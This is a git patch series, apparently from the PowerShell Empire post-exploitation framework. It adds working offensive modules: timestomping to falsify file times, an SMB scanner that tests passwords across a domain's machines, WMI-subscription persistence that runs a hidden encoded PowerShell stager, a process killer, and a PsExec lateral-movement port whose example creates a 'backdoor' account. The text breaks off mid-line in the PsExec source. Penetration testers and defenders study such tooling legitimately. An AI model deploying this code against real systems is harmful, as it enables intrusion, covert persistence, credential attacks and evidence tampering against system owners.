From 8862d34fb62d1560668436dfdafee344ee9edc8a Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 15 Aug 2015 17:58:44 -0400 Subject: [PATCH 1/6] Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner --- changelog | 4 + .../management/Set-MacAttribute.ps1 | 108 ++++++++++ .../network/Invoke-SmbScanner.ps1 | 129 ++++++++++++ lib/common/empire.py | 10 +- lib/modules/management/timestomp.py | 107 ++++++++++ lib/modules/persistence/elevated/wmi.py | 199 ++++++++++++++++++ .../network/smbscanner.py | 132 ++++++++++++ lib/modules/trollsploit/process_killer.py | 111 ++++++++++ 8 files changed, 797 insertions(+), 3 deletions(-) create mode 100644 data/module_source/management/Set-MacAttribute.ps1 create mode 100644 data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1 create mode 100644 lib/modules/management/timestomp.py create mode 100644 lib/modules/persistence/elevated/wmi.py create mode 100644 lib/modules/situational_awareness/network/smbscanner.py create mode 100644 lib/modules/trollsploit/process_killer.py diff --git a/changelog b/changelog index 4e195e4..ff3d61b 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,7 @@ +8/15/2015 +--------- +-Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner + 8/12/2015 -------- -Merged in list stale and remove stale functionality diff --git a/data/module_source/management/Set-MacAttribute.ps1 b/data/module_source/management/Set-MacAttribute.ps1 new file mode 100644 index 0000000..d406b80 --- /dev/null +++ b/data/module_source/management/Set-MacAttribute.ps1 @@ -0,0 +1,108 @@ +function Set-MacAttribute { +<# +.SYNOPSIS + + Sets the modified, accessed and created (Mac) attributes for a file based on another file or input. + + PowerSploit Function: Set-MacAttribute + Author: Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.0.0 + +.DESCRIPTION + + Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file. + +.EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile + +.EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm" + +.EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm" + +.LINK + + http://www.obscuresec.com/2014/05/touch.html + +#> + [CmdletBinding(DefaultParameterSetName = 'Touch')] + Param ( + + [Parameter(Position = 1,Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FilePath, + + [Parameter(ParameterSetName = 'Touch')] + [ValidateNotNullOrEmpty()] + [String] + $OldFilePath, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Modified, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Accessed, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Created, + + [Parameter(ParameterSetName = 'All')] + [DateTime] + $AllMacAttributes + ) + + Set-StrictMode -Version 2.0 + + #Helper function that returns an object with the MAC attributes of a file. + function Get-MacAttribute { + + param($OldFileName) + + if (!(Test-Path $OldFileName)){Throw "File Not Found"} + $FileInfoObject = (Get-Item $OldFileName) + + $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); + 'Accessed' = ($FileInfoObject.LastAccessTime); + 'Created' = ($FileInfoObject.CreationTime)}; + $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties + Return $ResultObject + } + + #test and set variables + if (!(Test-Path $FilePath)){Throw "$FilePath not found"} + + $FileInfoObject = (Get-Item $FilePath) + + if ($PSBoundParameters['AllMacAttributes']){ + $Modified = $AllMacAttributes + $Accessed = $AllMacAttributes + $Created = $AllMacAttributes + } + + if ($PSBoundParameters['OldFilePath']){ + + if (!(Test-Path $OldFilePath)){Write-Error "$OldFilePath not found."} + + $CopyFileMac = (Get-MacAttribute $OldFilePath) + $Modified = $CopyFileMac.Modified + $Accessed = $CopyFileMac.Accessed + $Created = $CopyFileMac.Created + } + + if ($Modified) {$FileInfoObject.LastWriteTime = $Modified} + if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed} + if ($Created) {$FileInfoObject.CreationTime = $Created} + + Return (Get-MacAttribute $FilePath) +} diff --git a/data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1 b/data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1 new file mode 100644 index 0000000..ae951aa --- /dev/null +++ b/data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1 @@ -0,0 +1,129 @@ +function Invoke-SMBScanner { +<# +.SYNOPSIS + + Tests a username/password combination across a number of machines. + If no machines are specified, the domain will be queries for active machines. + For domain accounts, use the form DOMAIN\username for username specifications. + + Author: Chris Campbell (@obscuresec), mods by @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 0.1.0 + +.DESCRIPTION + + Tests a username/password combination across a number of machines. + If no machines are specified, the domain will be queries for active machines. + For domain accounts, use the form DOMAIN\username for username specifications. + +.EXAMPLE + + PS C:\> Invoke-SMBScanner -ComputerName WINDOWS4 -UserName test123 -Password password123456! -Domain + + ComputerName Password Username + ---- -------- -------- + WINDOWS4 password123456! test123 + + +.EXAMPLE + + PS C:\> Get-Content 'c:\demo\computers.txt' | Invoke-SMBScanner -UserName dev\\test -Password 'Passsword123456!' + + ComputerName Password Username + ---- -------- -------- + WINDOWS3 password123456! dev\\test + WINDOWS4 password123456! dev\\test + + ... + + +.LINK + + +#> + + [CmdletBinding()] Param( + [Parameter(Mandatory = $False,ValueFromPipeline=$True)] + [String] $ComputerName, + + [parameter(Mandatory = $True)] + [String] $UserName, + + [parameter(Mandatory = $True)] + [String] $Password, + + [parameter(Mandatory = $False)] + [Switch] $NoPing + ) + + Begin { + Set-StrictMode -Version 2 + #try to load assembly + Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement} + Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage} + } + + Process { + + $ComputerNames = @() + + # if no computer names are specified, try to query the current domain + if(-not $ComputerName){ + Write-Verbose "Querying the domain for active machines." + "Querying the domain for active machines." + + $ComputerNames = [array] ([adsisearcher]'objectCategory=Computer').Findall() | ForEach {$_.properties.cn} + + Write-Verbose "Retrived $($ComputerNames.Length) systems from the domain." + } + else { + $ComputerNames = @($ComputerName) + } + + foreach ($Computer in $ComputerNames){ + + Try { + + Write-Verbose "Checking: $Computer" + + $up = $true + if(-not $NoPing){ + $up = Test-Connection -count 1 -Quiet -ComputerName $Computer + } + if($up){ + + if ($Username.contains("\\")) { + # if there's a \ in the username, assume we're checking a domain account + $ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain + } + else{ + # otherwise assume a local account + $ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine + } + + $PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $Computer) + + $Valid = $PrincipalContext.ValidateCredentials($Username, $Password).ToString() + + If ($Valid) { + Write-Verbose "SUCCESS: $Username works with $Password on $Computer" + + $out = new-object psobject + $out | add-member Noteproperty 'ComputerName' $Computer + $out | add-member Noteproperty 'Username' $Username + $out | add-member Noteproperty 'Password' $Password + $out + } + + Else { + Write-Verbose "FAILURE: $Username did not work with $Password on $ComputerName" + } + } + } + + Catch {Write-Error $($Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage)} + } + } +} \ No newline at end of file diff --git a/lib/common/empire.py b/lib/common/empire.py index 53ae454..438e746 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -9,7 +9,7 @@ menu loops. """ # make version for Empire -VERSION = "1.0.0" +VERSION = "1.1" from pydispatch import dispatcher @@ -1061,7 +1061,6 @@ class AgentsMenu(cmd.Cmd): "Tab-complete a clear command" names = self.mainMenu.agents.get_agent_names() + ["all"] - mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in names if s.startswith(mline)] @@ -1070,7 +1069,10 @@ class AgentsMenu(cmd.Cmd): def complete_remove(self, text, line, begidx, endidx): "Tab-complete a remove command" - return self.complete_clear(text, line, begidx, endidx) + names = self.mainMenu.agents.get_agent_names() + ["all", "stale"] + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in names if s.startswith(mline)] def complete_kill(self, text, line, begidx, endidx): @@ -1084,11 +1086,13 @@ class AgentsMenu(cmd.Cmd): return self.complete_clear(text, line, begidx, endidx) + def complete_lostlimit(self, text, line, begidx, endidx): "Tab-complete a lostlimit command" return self.complete_clear(text, line, begidx, endidx) + def complete_killdate(self, text, line, begidx, endidx): "Tab-complete a killdate command" diff --git a/lib/modules/management/timestomp.py b/lib/modules/management/timestomp.py new file mode 100644 index 0000000..9298e7c --- /dev/null +++ b/lib/modules/management/timestomp.py @@ -0,0 +1,107 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Timestomp', + + 'Author': ['@obscuresec'], + + 'Description': ('Executes time-stomp like functionality by ' + 'invoking Set-MacAttribute.'), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'http://obscuresecurity.blogspot.com/2014/05/touch.html' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'FilePath' : { + 'Description' : 'File path to modify.', + 'Required' : True, + 'Value' : '' + }, + 'OldFile' : { + 'Description' : 'Old file path to clone MAC from.', + 'Required' : False, + 'Value' : '' + }, + 'Modified' : { + 'Description' : 'Set modified time (01/03/2006 12:12 pm).', + 'Required' : False, + 'Value' : '' + }, + 'Accessed' : { + 'Description' : 'Set accessed time (01/03/2006 12:12 pm).', + 'Required' : False, + 'Value' : '' + }, + 'Created' : { + 'Description' : 'Set created time (01/03/2006 12:12 pm).', + 'Required' : False, + 'Value' : '' + }, + 'All' : { + 'Description' : 'Set all MAC attributes to value (01/03/2006 12:12 pm).', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/management/Set-MacAttribute.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + script += "\nSet-MacAttribute" + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + script += " -" + str(option) + " \"" + str(values['Value']) + "\"" + + script += "| Out-String" + + return script diff --git a/lib/modules/persistence/elevated/wmi.py b/lib/modules/persistence/elevated/wmi.py new file mode 100644 index 0000000..b41e95c --- /dev/null +++ b/lib/modules/persistence/elevated/wmi.py @@ -0,0 +1,199 @@ +import os +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-WMI', + + 'Author': ['@mattifestation', '@harmj0y'], + + 'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : True, + + 'OpsecSafe' : False, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : False, + 'Value' : '' + }, + 'DailyTime' : { + 'Description' : 'Daily time to trigger the script (HH:mm).', + 'Required' : False, + 'Value' : '' + }, + 'AtStartup' : { + 'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.', + 'Required' : False, + 'Value' : 'True' + }, + 'SubName' : { + 'Description' : 'Name to use for the event subscription.', + 'Required' : True, + 'Value' : 'Updater' + }, + 'ExtFile' : { + 'Description' : 'Use an external file for the payload instead of a stager.', + 'Required' : False, + 'Value' : '' + }, + 'Cleanup' : { + 'Description' : 'Switch. Cleanup the trigger and any script from specified location.', + 'Required' : False, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + listenerName = self.options['Listener']['Value'] + + # trigger options + dailyTime = self.options['DailyTime']['Value'] + atStartup = self.options['AtStartup']['Value'] + subName = self.options['SubName']['Value'] + + # management options + extFile = self.options['ExtFile']['Value'] + cleanup = self.options['Cleanup']['Value'] + + # staging options + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + statusMsg = "" + locationString = "" + + if cleanup.lower() == 'true': + # commands to remove the WMI filter and subscription + script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;" + script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;" + script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" + script += "'WMI persistence removed.'" + + return script + + if extFile != '': + # read in an external file as the payload and build a + # base64 encoded version as encScript + if os.path.exists(extFile): + f = open(extFile, 'r') + fileData = f.read() + f.close() + + # unicode-base64 encode the script for -enc launching + encScript = helpers.enc_powershell(fileData) + statusMsg += "using external file " + extFile + + else: + print helpers.color("[!] File does not exist: " + extFile) + return "" + + else: + if listenerName == "": + print helpers.color("[!] Either an ExtFile or a Listener must be specified") + return "" + + # if an external file isn't specified, use a listener + elif not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + encScript = launcher.split(" ")[-1] + statusMsg += "using listener " + listenerName + + # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max + if len(encScript) > 8190: + print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.") + return "" + + # built the command that will be triggered + triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript + + if dailyTime != '': + + parts = dailyTime.split(":") + + if len(parts) < 2: + print helpers.color("[!] Please use HH:mm format for DailyTime") + return "" + + hour = parts[0] + minutes = parts[1] + + # create the WMI event filter for a system time + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" + statusMsg += " WMI subscription daily trigger at " + dailyTime + "." + + else: + # create the WMI event filter for OnStartup + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" + statusMsg += " with OnStartup WMI subsubscription trigger." + + + # add in the event consumer to launch the encrypted script contents + script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" + + # bind the filter and event consumer together + script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" + + + script += "'WMI persistence established "+statusMsg+"'" + + return script diff --git a/lib/modules/situational_awareness/network/smbscanner.py b/lib/modules/situational_awareness/network/smbscanner.py new file mode 100644 index 0000000..a1a31b9 --- /dev/null +++ b/lib/modules/situational_awareness/network/smbscanner.py @@ -0,0 +1,132 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-SMBScanner', + + 'Author': ['@obscuresec', '@harmj0y'], + + 'Description': ('Tests a username/password combination across a number of machines.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://gist.github.com/obscuresec/df5f652c7e7088e2412c' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'CredID' : { + 'Description' : 'CredID from the store to use.', + 'Required' : False, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'Comma-separated hostnames to try username/password combinations against. Otherwise enumerate the domain for machines.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'Password to test.', + 'Required' : False, + 'Value' : '' + }, + 'UserName' : { + 'Description' : '[domain\]username to test.', + 'Required' : False, + 'Value' : '' + }, + 'NoPing' : { + 'Description' : 'Switch. Don\'t ping hosts before enumeration.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + "\n" + + # if a credential ID is specified, try to parse + credID = self.options["CredID"]['Value'] + if credID != "": + + if not self.mainMenu.credentials.is_credential_valid(credID): + print helpers.color("[!] CredID is invalid!") + return "" + + (credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] + + if domainName != "": + self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName) + else: + self.options["UserName"]['Value'] = str(userName) + if password != "": + self.options["Password"]['Value'] = password + + + if self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "": + print helpers.color("[!] Username and password must be specified.") + + + if (self.options['ComputerName']['Value'] != ''): + usernames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\"" + script += usernames + " | " + + script += "Invoke-SMBScanner " + + for option,values in self.options.iteritems(): + if option.lower() != "agent" and option.lower() != "computername" and option.lower() != "credid": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " '" + str(values['Value']) + "'" + + script += "| Out-String | %{$_ + \"`n\"};" + script += "'Invoke-SMBScanner completed'" + + return script diff --git a/lib/modules/trollsploit/process_killer.py b/lib/modules/trollsploit/process_killer.py new file mode 100644 index 0000000..92209c0 --- /dev/null +++ b/lib/modules/trollsploit/process_killer.py @@ -0,0 +1,111 @@ +import base64 +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-ProcessKiller', + + 'Author': ['@harmj0y'], + + 'Description': ("Kills any process starting with a particular name."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'MinPSVersion' : '2', + + 'Comments': [ ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'ProcessName' : { + 'Description' : 'Process name to kill on starting (wildcards accepted).', + 'Required' : True, + 'Value' : '' + }, + 'Sleep' : { + 'Description' : 'Time to sleep between checks.', + 'Required' : True, + 'Value' : '1' + }, + 'Silent' : { + 'Description' : "Switch. Don't output kill messages.", + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + script = """ +function Invoke-ProcessKiller { + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ProcessName, + + [Parameter(Position = 1)] + [Int] + $Sleep = 1, + + [Parameter(Position = 2)] + [Switch] + $Silent + ) + + "Invoke-ProcessKiller monitoring for $ProcessName every $Sleep seconds" + + while($true){ + Start-Sleep $Sleep + + Get-Process $ProcessName | % { + if (-not $Silent) { + "`n$ProcessName process started, killing..." + } + Stop-Process $_.Id -Force + } + } +} +Invoke-ProcessKiller""" + + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + + return script From 028d73f298a2bc73d3b01f19ed085b8ae2ea8175 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 15 Aug 2015 21:55:39 -0400 Subject: [PATCH 2/6] Removed debug output --- lib/common/empire.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 438e746..b03724a 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -976,7 +976,6 @@ class AgentsMenu(cmd.Cmd): print helpers.color("[!] Please enter the minute window for agent checkin.") else: - print "agent name!" # extract the sessionID and clear the agent tasking sessionID = self.mainMenu.agents.get_agent_id(name) From 43ed6e07df7d4bc4420d7ec51f1b46fb455f7baf Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 16 Aug 2015 01:05:35 -0400 Subject: [PATCH 3/6] Added lateral_movement/invoke_psexec --- .../lateral_movement/Invoke-PsExec.ps1 | 390 ++++++++++++++++++ lib/modules/lateral_movement/invoke_psexec.py | 145 +++++++ 2 files changed, 535 insertions(+) create mode 100644 data/module_source/lateral_movement/Invoke-PsExec.ps1 create mode 100644 lib/modules/lateral_movement/invoke_psexec.py diff --git a/data/module_source/lateral_movement/Invoke-PsExec.ps1 b/data/module_source/lateral_movement/Invoke-PsExec.ps1 new file mode 100644 index 0000000..699dc53 --- /dev/null +++ b/data/module_source/lateral_movement/Invoke-PsExec.ps1 @@ -0,0 +1,390 @@ +function Invoke-PsExec { + <# + .SYNOPSIS + This function is a rough port of Metasploit's psexec functionality. + It utilizes Windows API calls to open up the service manager on + a remote machine, creates/run a service with an associated binary + path or command, and then cleans everything up. + + Either a -Command or a custom -ServiceEXE can be specified. + For -Commands, a -ResultsFile can also be specified to retrieve the + results of the executed command. + + Adapted from MSF's version (see links). + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + ComputerName to run the command on. + + .PARAMETER Command + Binary path (or Windows command) to execute. + + .PARAMETER ServiceName + The name of the service to create, defaults to "TestSVC" + + .PARAMETER ResultFile + If you want results from your command, specify this flag. + Name of the file to write the results to locally, defaults to + copying in the temporary result file to the local location. + + .PARAMETER ServiceEXE + Local service binary to upload/execute on the remote host + (instead of a command to execute). + + .PARAMETER NoCleanup + Don't remove the service after starting it (for ServiceEXEs). + + .EXAMPLE + > Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 + + Creates a user named backdoor on the 192.168.50.200 host, with the + temporary service being named 'Updater32'. + + .EXAMPLE + > Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" + + Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', + and copies the result file to "results.txt" on the local path. + + .EXAMPLE + > Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" + + Uploads "service.exe" to the remote host, registers/starts it as a service with name + 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). + + .LINK + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb + https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb + #> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [string] + $ComputerName, + + [string] + $Command, + + [string] + $ServiceName = "TestSVC", + + [string] + $ResultFile, + + [string] + $ServiceEXE, + + [switch] + $NoCleanup + ) + + $ErrorActionPreference = "Stop" + + # http://stackingcode.com/blog/2011/10/27/quick-random-string + function Local:Get-RandomString + { + param ( + [int]$Length = 12 + ) + $set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray() + $result = "" + for ($x = 0; $x -lt $Length; $x++) { + $result += $set | Get-Random + } + $result + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + function Local:Invoke-PsExecCmd + { + param( + [Parameter(Mandatory = $True)] + [string] + $ComputerName, + + [Parameter(Mandatory = $True)] + [string] + $Command, + + [string] + $ServiceName = "TestSVC", + + [switch] + $NoCleanup + ) + + # Declare/setup all the needed API function + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle + $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) + $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + + $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA + $OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr]) + $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) + + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA + $OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int]) + $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) + + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA + $CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceA = 